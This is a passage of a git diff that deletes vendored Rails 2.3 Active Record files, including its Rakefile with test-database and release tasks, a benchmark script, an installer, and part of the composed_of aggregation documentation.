-For other information, feel free to ask on the rubyonrails-talk 
-(http://groups.google.com/group/rubyonrails-talk) mailing list.
diff --git a/vendor/rails/activerecord/RUNNING_UNIT_TESTS b/vendor/rails/activerecord/RUNNING_UNIT_TESTS
deleted file mode 100644
index 39fc8675..00000000
--- a/vendor/rails/activerecord/RUNNING_UNIT_TESTS
+++ /dev/null
@@ -1,36 +0,0 @@
-== Creating the test database
-
-The default names for the test databases are "activerecord_unittest" and 
-"activerecord_unittest2". If you want to use another database name then be sure 
-to update the connection adapter setups you want to test with in 
-test/connections/<your database>/connection.rb. 
-When you have the database online, you can import the fixture tables with 
-the test/schema/*.sql files.
-
-Make sure that you create database objects with the same user that you specified in 
-connection.rb otherwise (on Postgres, at least) tests for default values will fail.
-
-== Running with Rake
-
-The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all the adapters. You can also run the suite on just
-one adapter by using the tasks test_mysql, test_sqlite, test_postgresql or any
-of the other test_ tasks. For more information, checkout the full array of rake
-tasks with "rake -T"
-
-Rake can be found at http://rake.rubyforge.org
-
-== Running by hand
-
-Unit tests are located in test/cases directory. If you only want to run a single test suite, 
-you can do so with:
-
-   rake test_mysql TEST=test/cases/base_test.rb
-   
-That'll run the base suite using the MySQL-Ruby adapter.  Some tests rely on the schema
-being initialized - you can initialize the schema with:
-
-  rake test_mysql TEST=test/cases/aaa_create_tables_test.rb
-
-
-
diff --git a/vendor/rails/activerecord/Rakefile b/vendor/rails/activerecord/Rakefile
deleted file mode 100644
index 50210c02..00000000
--- a/vendor/rails/activerecord/Rakefile
+++ /dev/null
@@ -1,268 +0,0 @@
-require 'rubygems'
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rake/packagetask'
-require 'rubygems/package_task'
-
-require File.join(File.dirname(__FILE__), 'lib', 'active_record', 'version')
-require File.expand_path(File.dirname(__FILE__)) + "/test/config"
-
-PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME      = 'activerecord'
-PKG_VERSION   = ActiveRecord::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "activerecord"
-RUBY_FORGE_USER    = "webster132"
-
-MYSQL_DB_USER = 'rails'
-
-PKG_FILES = FileList[
-    "lib/**/*", "test/**/*", "examples/**/*", "doc/**/*", "[A-Z]*", "install.rb", "Rakefile"
-].exclude(/\bCVS\b|~$/)
-
-def run_without_aborting(*tasks)
-  errors = []
-
-  tasks.each do |task|
-    begin
-      Rake::Task[task].invoke
-    rescue Exception
-      errors << task
-    end
-  end
-
-  abort "Errors running #{errors.join(', ')}" if errors.any?
-end
-
-desc 'Run mysql, sqlite, and postgresql tests by default'
-task :default => :test
-
-desc 'Run mysql, sqlite, and postgresql tests'
-task :test do
-  tasks = defined?(JRUBY_VERSION) ?
-    %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
-    %w(test_mysql test_sqlite3 test_postgresql)
-  run_without_aborting(*tasks)
-end
-
-for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb )
-  Rake::TestTask.new("test_#{adapter}") { |t|
-    if adapter =~ /jdbc/
-      t.libs << "test" << "test/connections/jdbc_#{adapter}"
-    else
-      t.libs << "test" << "test/connections/native_#{adapter}"
-    end
-    adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z]+/]
-    t.test_files=Dir.glob( "test/cases/**/*_test{,_#{adapter_short}}.rb" ).sort
-    t.verbose = true
-  }
-
-  namespace adapter do
-    task :test => "test_#{adapter}"
-  end
-end
-
-namespace :mysql do
-  desc 'Build the MySQL test databases'
-  task :build_databases do
-    %x( echo "create DATABASE activerecord_unittest DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci " | mysql --user=#{MYSQL_DB_USER})
-    %x( echo "create DATABASE activerecord_unittest2 DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci " | mysql --user=#{MYSQL_DB_USER})
-  end
-
-  desc 'Drop the MySQL test databases'
-  task :drop_databases do
-    %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest )
-    %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest2 )
-  end
-
-  desc 'Rebuild the MySQL test databases'
-  task :rebuild_databases => [:drop_databases, :build_databases]
-end
-
-task :build_mysql_databases => 'mysql:build_databases'
-task :drop_mysql_databases => 'mysql:drop_databases'
-task :rebuild_mysql_databases => 'mysql:rebuild_databases'
-
-
-namespace :postgresql do
-  desc 'Build the PostgreSQL test databases'
-  task :build_databases do
-    %x( createdb -E UTF8 activerecord_unittest )
-    %x( createdb -E UTF8 activerecord_unittest2 )
-  end
-
-  desc 'Drop the PostgreSQL test databases'
-  task :drop_databases do
-    %x( dropdb activerecord_unittest )
-    %x( dropdb activerecord_unittest2 )
-  end
-
-  desc 'Rebuild the PostgreSQL test databases'
-  task :rebuild_databases => [:drop_databases, :build_databases]
-end
-
-task :build_postgresql_databases => 'postgresql:build_databases'
-task :drop_postgresql_databases => 'postgresql:drop_databases'
-task :rebuild_postgresql_databases => 'postgresql:rebuild_databases'
-
-
-namespace :frontbase do
-  desc 'Build the FrontBase test databases'
-  task :build_databases => :rebuild_frontbase_databases
-
-  desc 'Rebuild the FrontBase test databases'
-  task :rebuild_databases do
-    build_frontbase_database = Proc.new do |db_name, sql_definition_file|
-      %(
-        STOP DATABASE #{db_name};
-        DELETE DATABASE #{db_name};
-        CREATE DATABASE #{db_name};
-
-        CONNECT TO #{db_name} AS SESSION_NAME USER _SYSTEM;
-        SET COMMIT FALSE;
-
-        CREATE USER RAILS;
-        CREATE SCHEMA RAILS AUTHORIZATION RAILS;
-        COMMIT;
-
-        SET SESSION AUTHORIZATION RAILS;
-        SCRIPT '#{sql_definition_file}';
-
-        COMMIT;
-
-        DISCONNECT ALL;
-      )
-    end
-    create_activerecord_unittest  = build_frontbase_database['activerecord_unittest',  File.join(SCHEMA_ROOT, 'frontbase.sql')]
-    create_activerecord_unittest2 = build_frontbase_database['activerecord_unittest2', File.join(SCHEMA_ROOT, 'frontbase2.sql')]
-    execute_frontbase_sql = Proc.new do |sql|
-      system(<<-SHELL)
-      /Library/FrontBase/bin/sql92 <<-SQL
-      #{sql}
-      SQL
-      SHELL
-    end
-    execute_frontbase_sql[create_activerecord_unittest]
-    execute_frontbase_sql[create_activerecord_unittest2]
-  end
-end
-
-task :build_frontbase_databases => 'frontbase:build_databases'
-task :rebuild_frontbase_databases => 'frontbase:rebuild_databases'
-
-
-# Generate the RDoc documentation
-
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Active Record -- Object-relation mapping put on rails"
-  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'RUNNING_UNIT_TESTS', 'CHANGELOG')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-  rdoc.rdoc_files.exclude('lib/active_record/vendor/*')
-  rdoc.rdoc_files.include('dev-utils/*.rb')
-}
-
-# Enhance rdoc task to copy referenced images also
-task :rdoc do
-  FileUtils.mkdir_p "doc/files/examples/"
-  FileUtils.copy "examples/associations.png", "doc/files/examples/associations.png"
-end
-
-
-# Create compressed packages
-
-dist_dirs = [ "lib", "test", "examples" ]
-
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = PKG_NAME
-  s.version = PKG_VERSION
-  s.summary = "Implements the ActiveRecord pattern for ORM."
-  s.description = %q{Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties database tables and classes together for business objects, like Customer or Subscription, that can find, save, and destroy themselves without resorting to manual SQL.}
-
-  s.files = [ "Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG" ]
-  dist_dirs.each do |dir|
-    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  end
-
-  s.add_dependency('activesupport', '= 2.3.14' + PKG_BUILD)
-
-  s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite"
-  s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite"
-  s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite3"
-  s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite3"
-  s.require_path = 'lib'
-
-  s.extra_rdoc_files = %w( README )
-  s.rdoc_options.concat ['--main',  'README']
-
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.homepage = "http://www.rubyonrails.org"
-  s.rubyforge_project = "activerecord"
-end
-
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-  p.need_tar = true
-  p.need_zip = true
-end
-
-task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  for file_name in FileList["lib/active_record/**/*.rb"]
-    next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
-    total_lines     += lines
-    total_codelines += codelines
-
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-
-# Publishing ------------------------------------------------------
-
-desc "Publish the beta gem"
-task :pgem => [:package] do
-  require 'rake/contrib/sshpublisher'
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the API documentation"
-task :pdoc => [:rdoc] do
-  require 'rake/contrib/sshpublisher'
-  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  require 'rubyforge'
-  require 'rake/contrib/rubyforgepublisher'
-
-  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
-
-  rubyforge = RubyForge.new
-  rubyforge.login
-  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
-end
diff --git a/vendor/rails/activerecord/examples/.gitignore b/vendor/rails/activerecord/examples/.gitignore
deleted file mode 100644
index 0dfc1cb7..00000000
--- a/vendor/rails/activerecord/examples/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-performance.sql
diff --git a/vendor/rails/activerecord/examples/associations.png b/vendor/rails/activerecord/examples/associations.png
deleted file mode 100644
index 661c7a8b..00000000
Binary files a/vendor/rails/activerecord/examples/associations.png and /dev/null differ
diff --git a/vendor/rails/activerecord/examples/performance.rb b/vendor/rails/activerecord/examples/performance.rb
deleted file mode 100755
index 893d32be..00000000
--- a/vendor/rails/activerecord/examples/performance.rb
+++ /dev/null
@@ -1,198 +0,0 @@
-#!/usr/bin/env ruby -KU
-
-TIMES = (ENV['N'] || 10000).to_i
-
-require 'rubygems'
-gem 'addressable',  '~>2.0'
-gem 'faker',        '~>0.3.1'
-gem 'rbench',       '~>0.2.3'
-require 'addressable/uri'
-require 'faker'
-require 'rbench'
-
-__DIR__ = File.dirname(__FILE__)
-$:.unshift "#{__DIR__}/../lib"
-$:.unshift "#{__DIR__}/../../activesupport/lib"
-
-require 'active_record'
-
-conn = { :adapter => 'mysql',
-  :database => 'activerecord_unittest',
-  :username => 'rails', :password => '',
-  :encoding => 'utf8' }
-
-conn[:socket] = Pathname.glob(%w[
-  /opt/local/var/run/mysql5/mysqld.sock
-  /tmp/mysqld.sock
-  /tmp/mysql.sock
-  /var/mysql/mysql.sock
-  /var/run/mysqld/mysqld.sock
-]).find { |path| path.socket? }.to_s
-
-ActiveRecord::Base.establish_connection(conn)
-
-class User < ActiveRecord::Base
-  connection.create_table :users, :force => true do |t|
-    t.string :name, :email
-    t.timestamps
-  end
-
-  has_many :exhibits
-end
-
-class Exhibit < ActiveRecord::Base
-  connection.create_table :exhibits, :force => true do |t|
-    t.belongs_to :user
-    t.string :name
-    t.text :notes
-    t.timestamps
-  end
-
-  belongs_to :user
-
-  def look; attributes end
-  def feel; look; user.name end
-
-  def self.look(exhibits) exhibits.each { |e| e.look } end
-  def self.feel(exhibits) exhibits.each { |e| e.feel } end
-end
-
-sqlfile = "#{__DIR__}/performance.sql"
-
-if File.exists?(sqlfile)
-  mysql_bin = %w[mysql mysql5].detect { |bin| `which #{bin}`.length > 0 }
-  `#{mysql_bin} -u #{conn[:username]} #{"-p#{conn[:password]}" unless conn[:password].blank?} #{conn[:database]} < #{sqlfile}`
-else
-  puts 'Generating data...'
-
-  # pre-compute the insert statements and fake data compilation,
-  # so the benchmarks below show the actual runtime for the execute
-  # method, minus the setup steps
-
-  # Using the same paragraph for all exhibits because it is very slow
-  # to generate unique paragraphs for all exhibits.
-  notes = Faker::Lorem.paragraphs.join($/)
-  today = Date.today
-
-  puts 'Inserting 10,000 users and exhibits...'
-  10_000.times do
-    user = User.create(
-      :created_at => today,
-      :name       => Faker::Name.name,
-      :email      => Faker::Internet.email
-    )
-
-    Exhibit.create(
-      :created_at => today,
-      :name       => Faker::Company.name,
-      :user       => user,
-      :notes      => notes
-    )
-  end
-
-  mysqldump_bin = %w[mysqldump mysqldump5].detect { |bin| `which #{bin}`.length > 0 }
-  `#{mysqldump_bin} -u #{conn[:username]} #{"-p#{conn[:password]}" unless conn[:password].blank?} #{conn[:database]} exhibits users > #{sqlfile}`
-end
-
-RBench.run(TIMES) do
-  column :times
-  column :ar
-
-  report 'Model#id', (TIMES * 100).ceil do
-    ar_obj = Exhibit.find(1)
-
-    ar { ar_obj.id }
-  end
-
-  report 'Model.new (instantiation)' do
-    ar { Exhibit.new }
-  end
-
-  report 'Model.new (setting attributes)' do
-    attrs = { :name => 'sam' }
-    ar { Exhibit.new(attrs) }
-  end
-
-  report 'Model.first' do
-    ar { Exhibit.first.look }
-  end
-
-  report 'Model.all limit(100)', (TIMES / 10).ceil do
-    ar { Exhibit.look Exhibit.all(:limit => 100) }
-  end
-
-  report 'Model.all limit(100) with relationship', (TIMES / 10).ceil do
-    ar { Exhibit.feel Exhibit.all(:limit => 100, :include => :user) }
-  end
-
-  report 'Model.all limit(10,000)', (TIMES / 1000).ceil do
-    ar { Exhibit.look Exhibit.all(:limit => 10000) }
-  end
-
-  exhibit = {
-    :name       => Faker::Company.name,
-    :notes      => Faker::Lorem.paragraphs.join($/),
-    :created_at => Date.today
-  }
-
-  report 'Model.create' do
-    ar { Exhibit.create(exhibit) }
-  end
-
-  report 'Resource#attributes=' do
-    attrs_first  = { :name => 'sam' }
-    attrs_second = { :name => 'tom' }
-    ar { exhibit = Exhibit.new(attrs_first); exhibit.attributes = attrs_second }
-  end
-
-  report 'Resource#update' do
-    ar { Exhibit.first.update_attributes(:name => 'bob') }
-  end
-
-  report 'Resource#destroy' do
-    ar { Exhibit.first.destroy }
-  end
-
-  report 'Model.transaction' do
-    ar { Exhibit.transaction { Exhibit.new } }
-  end
-
-  report 'Model.find(id)' do
-    id = Exhibit.first.id
-    ar { Exhibit.find(id) }
-  end
-
-  report 'Model.find_by_sql' do
-    ar { Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first }
-  end
-
-  report 'Model.log', (TIMES * 10) do
-    ar { Exhibit.connection.send(:log, "hello", "world") {} }
-  end
-
-  report 'AR.execute(query)', (TIMES / 2) do
-    ar { ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}") }
-  end
-
-  report 'Model.find(id)' do
-    id = Exhibit.first.id
-    ar { Exhibit.find(id) }
-  end
-
-  report 'Model.find_by_sql' do
-    ar { Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first }
-  end
-
-  report 'Model.log', (TIMES * 10) do
-    ar { Exhibit.connection.send(:log, "hello", "world") {} }
-  end
-
-  report 'AR.execute(query)', (TIMES / 2) do
-    ar { ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}") }
-  end
-
-  summary 'Total'
-end
-
-ActiveRecord::Migration.drop_table "exhibits"
-ActiveRecord::Migration.drop_table "users"
diff --git a/vendor/rails/activerecord/install.rb b/vendor/rails/activerecord/install.rb
deleted file mode 100644
index c87398b1..00000000
--- a/vendor/rails/activerecord/install.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rbconfig'
-require 'find'
-require 'ftools'
-
-include Config
-
-# this was adapted from rdoc's install.rb by ways of Log4r
-
-$sitedir = CONFIG["sitelibdir"]
-unless $sitedir
-  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
-  $libdir = File.join(CONFIG["libdir"], "ruby", version)
-  $sitedir = $:.find {|x| x =~ /site_ruby/ }
-  if !$sitedir
-    $sitedir = File.join($libdir, "site_ruby")
-  elsif $sitedir !~ Regexp.quote(version)
-    $sitedir = File.join($sitedir, version)
-  end
-end
-
-# the actual gruntwork
-Dir.chdir("lib")
-
-Find.find("active_record", "active_record.rb") { |f|
-  if f[-3..-1] == ".rb"
-    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
-  else
-    File::makedirs(File.join($sitedir, *f.split(/\//)))
-  end
-}
diff --git a/vendor/rails/activerecord/lib/active_record.rb b/vendor/rails/activerecord/lib/active_record.rb
deleted file mode 100644
index 0d0ada9f..00000000
--- a/vendor/rails/activerecord/lib/active_record.rb
+++ /dev/null
@@ -1,83 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-begin
-  require 'active_support'
-rescue LoadError
-  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
-  if File.directory?(activesupport_path)
-    $:.unshift activesupport_path
-    require 'active_support'
-  end
-end
-
-module ActiveRecord
-  # TODO: Review explicit loads to see if they will automatically be handled by the initilizer.
-  def self.load_all!
-    [Base, DynamicFinderMatch, ConnectionAdapters::AbstractAdapter]
-  end
-
-  autoload :VERSION, 'active_record/version'
-
-  autoload :ActiveRecordError, 'active_record/base'
-  autoload :ConnectionNotEstablished, 'active_record/base'
-
-  autoload :Aggregations, 'active_record/aggregations'
-  autoload :AssociationPreload, 'active_record/association_preload'
-  autoload :Associations, 'active_record/associations'
-  autoload :AttributeMethods, 'active_record/attribute_methods'
-  autoload :AutosaveAssociation, 'active_record/autosave_association'
-  autoload :Base, 'active_record/base'
-  autoload :Batches, 'active_record/batches'
-  autoload :Calculations, 'active_record/calculations'
-  autoload :Callbacks, 'active_record/callbacks'
-  autoload :Dirty, 'active_record/dirty'
-  autoload :DynamicFinderMatch, 'active_record/dynamic_finder_match'
-  autoload :DynamicScopeMatch, 'active_record/dynamic_scope_match'
-  autoload :Migration, 'active_record/migration'
-  autoload :Migrator, 'active_record/migration'
-  autoload :NamedScope, 'active_record/named_scope'
-  autoload :NestedAttributes, 'active_record/nested_attributes'
-  autoload :Observing, 'active_record/observer'
-  autoload :QueryCache, 'active_record/query_cache'
-  autoload :Reflection, 'active_record/reflection'
-  autoload :Schema, 'active_record/schema'
-  autoload :SchemaDumper, 'active_record/schema_dumper'
-  autoload :Serialization, 'active_record/serialization'
-  autoload :SessionStore, 'active_record/session_store'
-  autoload :TestCase, 'active_record/test_case'
-  autoload :Timestamp, 'active_record/timestamp'
-  autoload :Transactions, 'active_record/transactions'
-  autoload :Validations, 'active_record/validations'
-
-  module Locking
-    autoload :Optimistic, 'active_record/locking/optimistic'
-    autoload :Pessimistic, 'active_record/locking/pessimistic'
-  end
-
-  module ConnectionAdapters
-    autoload :AbstractAdapter, 'active_record/connection_adapters/abstract_adapter'
-  end
-end
-
-I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
diff --git a/vendor/rails/activerecord/lib/active_record/aggregations.rb b/vendor/rails/activerecord/lib/active_record/aggregations.rb
deleted file mode 100644
index 1eefebb3..00000000
--- a/vendor/rails/activerecord/lib/active_record/aggregations.rb
+++ /dev/null
@@ -1,261 +0,0 @@
-module ActiveRecord
-  module Aggregations # :nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    def clear_aggregation_cache #:nodoc:
-      self.class.reflect_on_all_aggregations.to_a.each do |assoc|
-        instance_variable_set "@#{assoc.name}", nil
-      end unless self.new_record?
-    end
-
-    # Active Record implements aggregation through a macro-like class method called +composed_of+ for representing attributes
-    # as value objects. It expresses relationships like "Account [is] composed of Money [among other things]" or "Person [is]
-    # composed of [an] address". Each call to the macro adds a description of how the value objects are created from the
-    # attributes of the entity object (when the entity is initialized either as a new object or from finding an existing object)
-    # and how it can be turned back into attributes (when the entity is saved to the database). Example:
-    #
-    #   class Customer < ActiveRecord::Base
-    #     composed_of :balance, :class_name => "Money", :mapping => %w(balance amount)
-    #     composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
-    #   end
-    #
-    # The customer class now has the following methods to manipulate the value objects:
-    # * <tt>Customer#balance, Customer#balance=(money)</tt>
-    # * <tt>Customer#address, Customer#address=(address)</tt>
-    #
-    # These methods will operate with value objects like the ones described below:
-    #
-    #  class Money
-    #    include Comparable
-    #    attr_reader :amount, :currency
-    #    EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
-    #
-    #    def initialize(amount, currency = "USD")
-    #      @amount, @currency = amount, currency
-    #    end
-    #
-    #    def exchange_to(other_currency)
-    #      exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
-    #      Money.new(exchanged_amount, other_currency)
-    #    end
-    #
-    #    def ==(other_money)
-    #      amount == other_money.amount && currency == other_money.currency
-    #    end
-    #
-    #    def <=>(other_money)
-    #      if currency == other_money.currency
-    #        amount <=> amount
-    #      else
-    #        amount <=> other_money.exchange_to(currency).amount
-    #      end
-    #    end
-    #  end
-    #
-    #  class Address
-    #    attr_reader :street, :city
-    #    def initialize(street, city)
-    #      @street, @city = street, city
-    #    end
-    #
-    #    def close_to?(other_address)
-    #      city == other_address.city
-    #    end
-    #
-    #    def ==(other_address)
-    #      city == other_address.city && street == other_address.street
-    #    end
-    #  end
-    #
-    # Now it's possible to access attributes from the database through the value objects instead. If you choose to name the
-    # composition the same as the attribute's name, it will be the only way to access that attribute. That's the case with our
-    # +balance+ attribute. You interact with the value objects just like you would any other attribute, though:
-    #
-    #   customer.balance = Money.new(20)     # sets the Money value object and the attribute
-    #   customer.balance                     # => Money value object
-    #   customer.balance.exchange_to("DKK")  # => Money.new(120, "DKK")
-    #   customer.balance > Money.new(10)     # => true
-    #   customer.balance == Money.new(20)    # => true
-    #   customer.balance < Money.new(5)      # => false
-    #
-    # Value objects can also be composed of multiple attributes, such as the case of Address. The order of the mappings will
-    # determine the order of the parameters. Example:
-    #
-    #   customer.address_street = "Hyancintvej"
-    #   customer.address_city   = "Copenhagen"
-    #   customer.address        # => Address.new("Hyancintvej", "Copenhagen")
-    #   customer.address = Address.new("May Street", "Chicago")
-    #   customer.address_street # => "May Street"
-    #   customer.address_city   # => "Chicago"
-    #
-    # == Writing value objects
-    #
-    # Value objects are immutable and interchangeable objects that represent a given value, such as a Money object representing
-    # $5. Two Money objects both representing $5 should be equal (through methods such as <tt>==</tt> and <tt><=></tt> from Comparable if ranking
-    # makes sense). This is unlike entity objects where equality is determined by identity. An entity class such as Customer can
-    # easily have two different objects that both have an address on Hyancintvej. Entity identity is determined by object or
-    # relational unique identifiers (such as primary keys). Normal ActiveRecord::Base classes are entity objects.
-    #
-    # It's also important to treat the value objects as immutable. Don't allow the Money object to have its amount changed after
-    # creation. Create a new Money object with the new value instead. This is exemplified by the Money#exchange_to method that
-    # returns a new value object instead of changing its own values. Active Record won't persist value objects that have been
-    # changed through means other than the writer method.
-    #
-    # The immutable requirement is enforced by Active Record by freezing any object assigned as a value object. Attempting to
-    # change it afterwards will result in a ActiveSupport::FrozenObjectError.
-    #
-    # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not keeping value objects
-    # immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
-    #
-    # == Custom constructors and converters
-    #
-    # By default value objects are initialized by calling the <tt>new</tt> constructor of the value class passing each of the
-    # mapped attributes, in the order specified by the <tt>:mapping</tt> option, as arguments. If the value class doesn't support
-    # this convention then +composed_of+ allows a custom constructor to be specified.
-    #
-    # When a new value is assigned to the value object the default assumption is that the new value is an instance of the value
-    # class. Specifying a custom converter allows the new value to be automatically converted to an instance of value class if
-    # necessary.
-    #
-    # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that should be aggregated using the
-    # NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor for the value class is called +create+ and it
-    # expects a CIDR address string as a parameter. New values can be assigned to the value object using either another
-    # NetAddr::CIDR object, a string or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to
-    # meet these requirements:
-    #
-    #   class NetworkResource < ActiveRecord::Base
-    #     composed_of :cidr,
-    #                 :class_name => 'NetAddr::CIDR',
-    #                 :mapping => [ %w(network_address network), %w(cidr_range bits) ],
-    #                 :allow_nil => true,
-    #                 :constructor => Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
-    #                 :converter => Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
-    #   end
-    #
-    #   # This calls the :constructor
-    #   network_resource = NetworkResource.new(:network_address => '192.168.0.1', :cidr_range => 24)
-    #
-    #   # These assignments will both use the :converter
-    #   network_resource.cidr = [ '192.168.2.1', 8 ]
-    #   network_resource.cidr = '192.168.0.1/24'
-    #
-    #   # This assignment won't use the :converter as the value is already an instance of the value class
-    #   network_resource.cidr = NetAddr::CIDR.create('192.168.2.1/8')
-    #
-    #   # Saving and then reloading will use the :constructor on reload
-    #   network_resource.save
-    #   network_resource.reload
-    #
-    # == Finding records by a value object
-    #
-    # Once a +composed_of+ relationship is specified for a model, records can be loaded from the database by specifying an instance
-    # of the value object in the conditions hash. The following example finds all customers with +balance_amount+ equal to 20 and
-    # +balance_currency+ equal to "USD":
-    #
-    #   Customer.find(:all, :conditions => {:balance => Money.new(20, "USD")})
-    #
-    module ClassMethods
-      # Adds reader and writer methods for manipulating a value object:
-      # <tt>composed_of :address</tt> adds <tt>address</tt> and <tt>address=(new_address)</tt> methods.
-      #
-      # Options are:
-      # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name can't be inferred
-      #   from the part id. So <tt>composed_of :address</tt> will by default be linked to the Address class, but
-      #   if the real class name is CompanyAddress, you'll have to specify it with this option.
-      # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value object. Each mapping
-      #   is represented as an array where the first item is the name of the entity attribute and the second item is the
-      #   name the attribute in the value object. The order in which mappings are defined determine the order in which
-      #   attributes are sent to the value class constructor.
-      # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
-      #   attributes are +nil+.  Setting the value object to +nil+ has the effect of writing +nil+ to all mapped attributes.
-      #   This defaults to +false+.
-      # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that is called to
-      #   initialize the value object. The constructor is passed all of the mapped attributes, in the order that they
-      #   are defined in the <tt>:mapping option</tt>, as arguments and uses them to instantiate a <tt>:class_name</tt> object.
-      #   The default is <tt>:new</tt>.
-      # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt> or a Proc that is
-      #   called when a new value is assigned to the value object. The converter is passed the single value that is used
-      #   in the assignment and is only called if the new value is not an instance of <tt>:class_name</tt>.
-      #
-      # Option examples:
-      #   composed_of :temperature, :mapping => %w(reading celsius)
-      #   composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
-      #   composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
-      #   composed_of :gps_location
-      #   composed_of :gps_location, :allow_nil => true
-      #   composed_of :ip_address,
-      #               :class_name => 'IPAddr',
-      #               :mapping => %w(ip to_i),
-      #               :constructor => Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
-      #               :converter => Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
-      #
